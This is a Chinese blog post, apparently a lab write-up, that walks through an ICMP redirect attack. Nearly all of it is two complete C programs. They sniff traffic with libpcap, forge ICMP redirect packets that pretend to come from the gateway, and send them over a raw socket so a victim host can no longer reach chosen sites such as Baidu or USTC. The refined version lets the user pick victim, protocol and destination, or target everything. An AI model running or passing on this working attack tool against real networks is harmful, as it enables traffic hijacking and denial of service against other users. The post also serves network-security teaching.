ICMP重定向攻击

一.实现思路

  1. 使用pcap的混杂模式抓取所有可以嗅探到的包,设置过滤器仅抓取ICMP请求报文和ICMP响应报文(改进版可以抓取多种类型)。
  2. 打印出抓取的数据包,解析数据包中的目的MAC,源MAC,源IP和目的IP,随后攻击用户,使其不能访问特定的域名(需要设置)。
  3. 使用raw socket 并设置IP_HDRINCL(使用户能够自己处理IP首部),自己制作IP首部和ICMP重定向报文的首部,发送给受攻击用户。
  4. icmp重定向报文首部字段如下:在这里插入图片描述

二.代码实现

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>

#define MAX 1024
#define FRAME_HEADER 14

const unsigned char *target = "192.168.31.154"; 	//攻击目标IP
const unsigned char *Ori_Gw_IP = "192.168.31.1";	//原网关ip
const unsigned char *Redic_IP = "192.168.85.129";	//重定向IP,一个“死”IP
const unsigned char *baidu = "36.152.44.96";		//指定需要攻击的目标域名为百度
const unsigned char *ustc = "202.38.64.246";		//指定需要攻击的目标域名为ustc官网


/*计算校验和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  

// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
	char buf[MAX],*p;
    	struct ip_header *ip;
    	struct icmp_header *icmp;
    	int len,i;
    	//struct sockaddr_in dest; 
    	struct packet{
		struct iphdr ip;
		struct icmphdr icmp;
		char orgin_iph[28];
    	}packet;
    	
    	printf("待攻击的目标地址IP为:%s\n", target);
    	printf("目标地址的原网关IP为:%s\n", Ori_Gw_IP);
    	printf("重定向IP为:%s\n\n\n", Redic_IP);

    	// 手动设置IP首部
    	packet.ip.version = 4;	//版本
    	packet.ip.ihl = 5;	// 首部长度
    	packet.ip.tos = 0;	// 服务类型000--Routine(普通)
    	packet.ip.tot_len = htons(56); 	//设置总长度为56B
    	packet.ip.id = getpid(); 	// 标识字段
    	packet.ip.frag_off = 0;	// 高3位为DF/MF/0 低13位为片偏移
    	packet.ip.ttl = 64;	// 生存时间为64跳	
    	packet.ip.protocol = IPPROTO_ICMP;	// 协议设置为ICMP(值为1)
    	packet.ip.check = 0;	//校验和初始为0		
    	packet.ip.saddr = inet_addr(Ori_Gw_IP);	// 原网关IP 
    	// memcpy(Ori_Gw_IP, data+26, 4);
    	packet.ip.daddr = inet_addr(target);	// 受攻击者的IP
    	// memcpy(Vic_IP, data+30, 4);
    	
    	
    	packet.icmp.type = 5;	// ICMP重定向报文
    	packet.icmp.code = 1;	// code含义为:Redirect for host需要主机重定向
    	packet.icmp.checksum = 0;
    	packet.icmp.un.gateway = inet_addr(Redic_IP);
    	
    	struct sockaddr_in dest =  {
        .sin_family = AF_INET,	// 定IP地址地址版本为IPV4
        .sin_addr = {
            .s_addr = inet_addr(target)	// 设置地址为受攻击者的IP
        }
   	};
   	
   	memcpy(packet.orgin_iph, data+14, 28);	// 复制原来报文的IP首部+数据部分的前8B
   	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); 	// 对IP首部求校验和
   	packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
   	   	
   	sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
   	
}
 

void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr,  const u_char *packet){
	// printf("这是从网络抓取的包!\n");
	int * id = (int *)arg;
  
	printf("id: %d\n", ++(*id));
	printf("Packet length: %d\n", pkthdr->len);
	printf("Number of bytes: %d\n", pkthdr->caplen);
	printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
	  
	int i;
	printf("00-15");
	for(i=0; i < pkthdr->len; ++i){
	  printf(" %02x", packet[i]);	// packet中含有抓取的报文数据
	  if( (i + 1) % 16 == 0 ){
	    printf("\n");
	    printf("%d-%d:", i+1, i+16);
	  }
	}
	
	/*char dst_mac[7];
	char src_mac[7];
	char src_ip[5];
	char dst_ip[5];
	memcpy(dst_mac, packet, 6);
	memcpy(src_mac, packet+6, 6);
	memcpy(src_ip, packet+14, 4);
	memcpy(dst_ip, packet+18, 4);
	dst_mac[6] = '\0';
	src_mac[6] = '\0';
	src_ip[4] = '\0';
	dst_ip[4] = '\0';*/
	
	// 对抓去的数据包进行解析
	printf("\n目的MAC:%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
	printf("源MAC:%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
	printf("源IP:%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
	printf("目的IP:%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
	

	printf("\n");
	
	int sockfd,sockset;
	//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP:ICMP传输协议
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);	
	if(sockfd < 0){
		printf("创建套接字失败!");
		return -1;
	}
	
	int nRecvBuf=32*1024;  // 接收缓冲
	// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
	sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
	if(sockset == -1 ){
		printf("设置套接字失败!");
		return -1;
	}
	
	// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
	if( packet[26] == 202 && packet[27] == 38 && packet[28] == 64 && packet[29] == 246){
		printf("开始IP重定向!\n");
		icmp_redirect(sockfd, packet);	
	}
	
	
}


int main(int argc, char *argv[]){

	pcap_t *handle;			/* Session handle */
	char *dev;			/* The device to sniff on */		        
	char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	struct bpf_program fp;		/* The compiled filter */
	char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";	/* The filter expression */	// 只接收icmp的ping请求和ping响应的数据包
	bpf_u_int32 mask;		/* Our netmask */
	bpf_u_int32 net;		/* Our IP */
	struct pcap_pkthdr header;	/* The header that pcap gives us */
	const u_char *packet;		/* The actual packet */

	/* Define the device */
	dev = pcap_lookupdev(errbuf);
	if (dev == NULL) {
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return(2);
	}
	
	/* Find the properties for the device */
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {	// 返回对应设备的IPV4地址和相应的网络掩码
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}
	
	/* Open the session in promiscuous mode */
	handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 	//handle是会话句柄
	if (handle == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return(2);
	}
	
	/* Compile and apply the filter */
	if (pcap_compile(handle, &fp, filter_exp, 1, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
		
	if (pcap_setfilter(handle, &fp) == -1) {
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
		
	/* Grab a packet */
	// packet = pcap_next(handle, &header);
	 /* Print its length */
	// printf("Jacked a packet with length of [%d]\n", header.len);
	
	printf("开始抓取网络ICMP包!\n");
	int id = 0;
	if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
		fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
	 
	/* And close the session */
	pcap_close(handle);
	return(0);
}

Refined version:

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>

#define MAX 1024
#define FRAME_HEADER 14

// "192.168.200.132"
unsigned char *target; 	//攻击目标IP
const unsigned char *gateway_ip = "192.168.200.2";	//原网关ip
const unsigned char *redirect_ip = "192.168.200.131";	//重定向IP,一个“死”IP or a attacker's IP
// "112.25.91.103"
unsigned char attack_ip[4][4];
unsigned char victim_ip[4][4];
const unsigned char *baidu = "36.152.44.96";		//ip of baidu
const unsigned char *ustc = "202.38.64.246";		//ip of ustc
int flag = 0;	// to determine which ip you want to prevent victim's visit
int flag1 = 0; // to determine the victim you want to attack
int flag2 = 0; // to determine which protocol you want to attack


/*计算校验和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  

// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
	char buf[MAX],*p;
    	int len,i;
    	struct packet{
		struct iphdr ip;
		struct icmphdr icmp;
		char orgin_iph[28];
    	}packet;
    	
    	printf("待攻击的目标地址IP为:%s\n", target);
    	printf("目标地址的原网关IP为:%s\n", gateway_ip);
    	printf("重定向IP为:%s\n\n\n", redirect_ip);

    	// 手动设置IP首部
    	packet.ip.version = 4;	//版本
    	packet.ip.ihl = 5;	// 首部长度
    	packet.ip.tos = 0;	// 服务类型000--Routine(普通)
    	packet.ip.tot_len = htons(56); 	//设置总长度为56B
    	packet.ip.id	 = getpid(); 	// 标识字段
    	packet.ip.frag_off = 0;	// 高3位为DF/MF/0 低13位为片偏移
    	packet.ip.ttl = 64;	// 生存时间为64跳	
    	packet.ip.protocol = IPPROTO_ICMP;	// 协议设置为ICMP(值为1)
    	packet.ip.check = 0;	//校验和初始为0		
    	packet.ip.saddr = inet_addr(gateway_ip);	// 原网关IP 
    	packet.ip.daddr = inet_addr(target);	// 受攻击者的IP
    	
    	
    	packet.icmp.type = 5;	// ICMP重定向报文
    	packet.icmp.code = 1;	// code含义为:Redirect for host需要主机重定向
    	packet.icmp.checksum = 0;
    	packet.icmp.un.gateway = inet_addr(redirect_ip);
    	
    	struct sockaddr_in dest =  {
        .sin_family = AF_INET,	// 定IP地址地址版本为IPV4
        .sin_addr = {
            .s_addr = inet_addr(target)	// 设置地址为受攻击者的IP
        }
   	};
   	
   	memcpy(packet.orgin_iph, data+14, 28);	// 复制原来报文的IP首部+数据部分的前8B(ICMP regular header + Identifier, Sequence Number)
   	// Identifier denotes who(pid) send this icmp request, and Sequence Number denotes the number of your requests
   	// and ICMP regular header means "Type" "Code" "Checksum"
   	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); 	// 对IP首部求校验和
   	packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
   	   	
   	sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
   	
}
 

void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr,  const u_char *packet){
	// printf("这是从网络抓取的包!\n");
	int * id = (int *)arg;
  
	printf("id: %d\n", ++(*id));
	printf("Packet length: %d\n", pkthdr->len);					// packet length 
	printf("Number of bytes: %d\n", pkthdr->caplen);				// actual packet length you captured
	printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));  	// return a local time
	  
	int i;
	printf("00-15:");
	for(i=0; i < pkthdr->len; ++i){
	  printf(" %02x", packet[i]);	// packet中含有抓取的报文数据
	  if( (i + 1) % 16 == 0 ){
	    printf("\n");
	    printf("%d-%d:", i+1, i+16);
	  }
	}
	
	// 对抓去的数据包进行解析
	printf("\n目的MAC:%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
	printf("源MAC:%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
	printf("源IP:%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
	printf("目的IP:%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
	

	printf("\n");
	
	int sockfd,sockset;
	//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP:ICMP传输协议
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);	
	if(sockfd < 0){
		printf("创建套接字失败!");
		return;
	}
	
	int nRecvBuf=32*1024;  // 接收缓冲
	// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
	sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
	if(sockset == -1 ){
		printf("设置套接字失败!");
		return;
	}
	
	// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
	
	// according to source ip, we could choose which ip will be the victim
	if( (packet[26] == atoi(victim_ip[0]) && packet[27] == atoi(victim_ip[1]) && packet[28] == atoi(victim_ip[2]) && packet[29] == atoi(victim_ip[3])) || flag1){	
		// according to destination ip, we could redirect that visit from victim
		if( (packet[30] == atoi(attack_ip[0]) && packet[31] == atoi(attack_ip[1]) && packet[32] == atoi(attack_ip[2]) && packet[33] == atoi(attack_ip[3])) || flag){
			printf("开始IP重定向!\n");
			icmp_redirect(sockfd, packet);	
		}
	}	
}


int main(int argc, char *argv[]){

	pcap_t *handle;			/* Session handle */
	char *dev;			/* The device to sniff on */		        
	char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	struct bpf_program fp;		/* The compiled filter */
	char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";	/* The filter expression */	// 只接收icmp的ping请求和ping响应的数据包
	bpf_u_int32 mask;		/* Our netmask */
	bpf_u_int32 net;		/* Our IP */
	struct pcap_pkthdr header;	/* The header that pcap gives us */
	const u_char *packet;		/* The actual packet */
	unsigned char *temp;
	unsigned char *attack_type;
	
	if(argc != 4){
		fprintf(stderr, "Error,Usage: ./icmp_redirect targetIP attactType attackIP\n");
		return(2);
	}
	
	target = argv[1];
	temp = argv[3];
	 
	
	printf("Target is: %s. Attack_ip is: %s. Attack type is: %s\n", target, argv[3], argv[2]);
	
	if(!strcmp("all", argv[1])) {
		flag1 = 1;
		printf("Attack all ip!\n");
	}
	
	
	if(!strcmp("all", argv[2])) {
		flag = 1;
		printf("Attack all ip request!\n");
	}
	
	if(!flag1){
		int j = 0;
		int k;
		for(int i = 0; i < 3; i++){
			k = 0;
			while(target[j] != '.'){
				victim_ip[i][k] = target[j];
				j++;
				k++;
			}
			victim_ip[i][k+1] = '\0';
			j++;
		}
		
		k = 0;
		while(target[j] != '\0'){
			victim_ip[3][k++] = target[j++];
		}
	}
	
	
	if(!flag){
		int j = 0;
		int k;
		for(int i = 0; i < 3; i++){
			k = 0;
			while(temp[j] != '.'){
				attack_ip[i][k] = temp[j];
				j++;
				k++;
			}
			attack_ip[i][k+1] = '\0';
			j++;
		}
		
		k = 0;
		while(temp[j] != '\0'){
			attack_ip[3][k++] = temp[j++];
		}
	}
	
	if(!strcmp("ICMP", argv[2])) attack_type = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";
	else if(!strcmp("TCP", argv[2])) attack_type = "tcp";
	else if(!strcmp("UDP", argv[2])) attack_type ="udp";
	else if(!strcmp("all", argv[2])) flag2 = 1;
		
	
	
	/* Define the device */
	//  ‘pcap_lookupdev’ is deprecated: use 'pcap_findalldevs'
	dev = pcap_lookupdev(errbuf);
	if (dev == NULL) {
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return(2);
	}
	
	/* Find the properties for the device */
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {	// 返回对应设备的IPV4地址和相应的网络掩码
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}
	
	/* Open the session in promiscuous mode */
	handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 	//handle是会话句柄
	if (handle == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return(2);
	}
	
	if(!flag2){ // if flag2 is 1, it means we don't set filter
		/* Compile and apply the filter */
		if (pcap_compile(handle, &fp, attack_type, 1, net) == -1) {
			fprintf(stderr, "Couldn't parse filter %s: %s\n", attack_type, pcap_geterr(handle));
			return(2);
		}
			
		if (pcap_setfilter(handle, &fp) == -1) {
			fprintf(stderr, "Couldn't install filter %s: %s\n", attack_type, pcap_geterr(handle));
			return(2);
		}
	}
		
	printf("开始抓取网络%s包!\n", argv[2]);
	int id = 0;
	// -1 denotes loop endless
	if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
		fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
	 
	/* And close the session */
	pcap_close(handle);
	return(0);
}



注:

1.使用 sudo apt-get install libpcap-dev安装pcap库抓包,并且在gcc编译时需要加上-lpcap
2.使用的icmp,ip首部的头文件是linux的内核头文件位于cd /usr/include/linux/文件下
3.运行改进版代码是,指令格式如下:
在这里插入图片描述
参数含义分别是攻击目标,攻击的协议类型,令攻击者无法再访问的IP地址。
攻击目标需要特别指定;攻击类型可以是“ICMP”,“UDP”,“TCP”和“all”;无法访问的IP地址可以是指定单个IP或者是"all"

三.实验结果(仅是普通版本的演示结果)

1. 对用户进行攻击,使用户无法访问百度
最开始百度是可以正常ping通的
在这里插入图片描述设置要使目标用户无法访问的IP为36.152.44.96
在这里插入图片描述
运行重定向攻击程序,并且再次ping百度
抓取的包如下:
在这里插入图片描述

在这里插入图片描述百度仍能够ping通,但是ip换成了36.152.44.95,证明攻击发挥了作用

2. 对用户进行攻击,使用户无法访问ustc
可知ustc的IP为202.141.176.6
在这里插入图片描述同样设置攻击IP
在这里插入图片描述此时,ping "www.ustc.edu.cn"时,能够发现收到了重定向报文
在这里插入图片描述并且在攻击程序中显示出开始进行的重定向攻击
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值